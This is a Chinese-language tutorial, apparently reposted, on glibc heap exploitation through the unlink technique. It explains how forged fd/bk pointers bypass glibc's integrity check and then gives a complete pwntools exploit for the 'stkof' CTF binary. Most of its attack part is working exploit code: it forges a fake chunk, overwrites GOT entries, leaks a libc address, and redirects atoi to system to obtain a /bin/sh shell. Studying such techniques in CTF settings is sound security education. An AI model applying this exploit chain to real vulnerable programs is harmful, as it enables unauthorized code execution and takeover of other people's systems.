|
原文链接:Glibc堆利用之unlink超详细讲解
当free堆块时,会检测相邻堆块是否空闲。如果空闲(上一块或者下一块),将进行合并(前合并和后合并)。
空闲堆块一般是双向链表链接(fast bin是单向链表。不适用此漏洞),free的堆块与相邻的空闲堆块合并时会将空闲的堆块从链表摘下来。合并成更大的堆块插入到unsortbin链表中。
初始状态p的chunk1非空闲。Chunk2空闲。查询chunk2的前后链表
FD =Pchunk2->fd
BK=Pchunk2->bk
Free掉chunk1检测到相邻chunk空闲。chunk2摘取下来与chunk1合并。放入unsort bin中
FD->bk=BK
BK->fd=FD
(32位)通过其他漏洞伪造pchunk2,当free掉pchunk1时
FD=Pchunk2->fd=free_addr-12
BK =Pchunk2->bk=shellcode_addr
将p的chunk2z摘取下来。FD和BK
FD->bk=BK
BK->fd=FD
当执行free时,会执行shellcode处的的代码,但是应该注意的是shellcode+8处被修改为free_addr-12.要想办法绕过。
也就是说在查pchunk2前后链表的时候,会检测FD->bk和BK->fd是不是都指向p
如下图所示。之前的利用方式不可使用。方便理解unlink的过程
FD=Pchunk2->fd=free_addr-12
BK=Pchunk2->bk=shellcode_addr
可以使用伪造的方式绕过检测
fakeFD-> bk == P <=> *(fakeFD + 12) == P
fakeBK-> fd == P <=> *(fakeBK + 8) == P
当满足上述两式时,可以进入 Unlink 的环节,进行如下操作:
fakeFD-> bk = fakeBK <=> *(fakeFD + 12) = fakeBK
fakeBK-> fd = fakeFD <=> *(fakeBK + 8) = fakeFD
或者
输入 size,分配 size 大小的内存,并在 bss 段记录对应 chunk 的指针,假设其为 global
read_in:根据指定索引,向分配的内存处读入数据,数据长度可控,这里存在堆溢出的情况
free:根据指定索引,释放已经分配的内存块
由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区。所以Globals[1] 触发器到malloc缓冲区的io函数
- alloc(0x100) # idx 1
- alloc(0x30) # idx 2
- alloc(0x80) # idx 3
复制代码
- payload = p64(0) #prev_size
- payload += p64(0x20) #size
- payload += p64(head + 16 - 0x18) #fd
- payload += p64(head + 16 - 0x10) #bk
- payload += p64(0x20) # 下一个 chunk的 prev_size 用于通过检测
- payload = payload.ljust(0x30, 'a')
-
- # 堆溢出global[3]的 chunk'的prev_size
- payload += p64(0x30)
- # 跳过检测上一块的chunk时free的
- payload += p64(0x90)
- edit(2, len(payload), payload)
复制代码
free(3)检测上一块空闲与上一块合并。触发unlink
- payload = 'a' * 8 + p64(stkof.got['free'])+ p64(stkof.got['puts']) + p64(stkof.got['atoi'])
- edit(2, len(payload), payload)
复制代码
- payload = p64(stkof.plt['puts'])
- edit(0, len(payload), payload)
- free(1)
- #put_plt(puts_got)
复制代码
- payload = p64(system_addr)
- edit(2, len(payload), payload)
- p.send(p64(binsh_addr))
- # atoi(binsh_addr)=>system(bin/sh)
复制代码
完整exp:
- context.terminal= ['gnome-terminal', '-x', 'sh', '-c']
- ifargs['DEBUG']:
- context.log_level = 'debug'
- context.binary ="./stkof"
- stkof =ELF('./stkof')
- ifargs['REMOTE']:
- p = remote('127.0.0.1', 7777)
- else:
- p = process("./stkof")
- log.info('PID: '+ str(proc.pidof(p)[0]))
- libc =ELF('./libc.so.6')
- head = 0x602140
- def alloc(size):
- p.sendline('1')
- p.sendline(str(size))
- p.recvuntil('OK\n')
- def edit(idx,size, content):
- p.sendline('2')
- p.sendline(str(idx))
- p.sendline(str(size))
- p.send(content)
- p.recvuntil('OK\n')
- def free(idx):
- p.sendline('3')
- p.sendline(str(idx))
- def exp():
- # trigger to malloc buffer for io function
- alloc(0x100) # idx 1
- # begin
- alloc(0x30) # idx 2
- # small chunk size in order to triggerunlink
- alloc(0x80) # idx 3
- # a fake chunk at global[2]=head+16 who'ssize is 0x20
- payload = p64(0) #prev_size
- payload += p64(0x20) #size
- payload += p64(head + 16 - 0x18) #fd
- payload += p64(head + 16 - 0x10) #bk
- payload += p64(0x20) # next chunk's prev_size bypass the check
- payload = payload.ljust(0x30, 'a')
- # overwrite global[3]'s chunk's prev_size
- # make it believe that prev chunk is atglobal[2]
- payload += p64(0x30)
- # make it believe that prev chunk is free
- payload += p64(0x90)
- edit(2, len(payload), payload)
- # unlink fake chunk, so global[2]=&(global[2])-0x18=head-8
- free(3)
- p.recvuntil('OK\n')
- # overwrite global[0] = free@got,global[1]=puts@got, global[2]=atoi@got
- payload = 'a' * 8 + p64(stkof.got['free'])+ p64(stkof.got['puts']) + p64(
- stkof.got['atoi'])
- edit(2, len(payload), payload)
- # edit free@got to puts@plt
- payload = p64(stkof.plt['puts'])
- edit(0, len(payload), payload)
- # free global[1] to leak puts addr
- free(1)
- puts_addr = p.recvuntil('\nOK\n',drop=True).ljust(8, '\x00')
- puts_addr = u64(puts_addr)
- log.success('puts addr: ' + hex(puts_addr))
- libc_base = puts_addr -libc.symbols['puts']
- binsh_addr = libc_base +next(libc.search('/bin/sh'))
- system_addr = libc_base +libc.symbols['system']
- log.success('libc base: ' + hex(libc_base))
- log.success('/bin/sh addr: ' +hex(binsh_addr))
- log.success('system addr: ' +hex(system_addr))
- # modify atoi@got to system addr
- payload = p64(system_addr)
- edit(2, len(payload), payload)
- p.send(p64(binsh_addr))
- p.interactive()
- if __name__ =="__main__":
- exp()
复制代码
|
|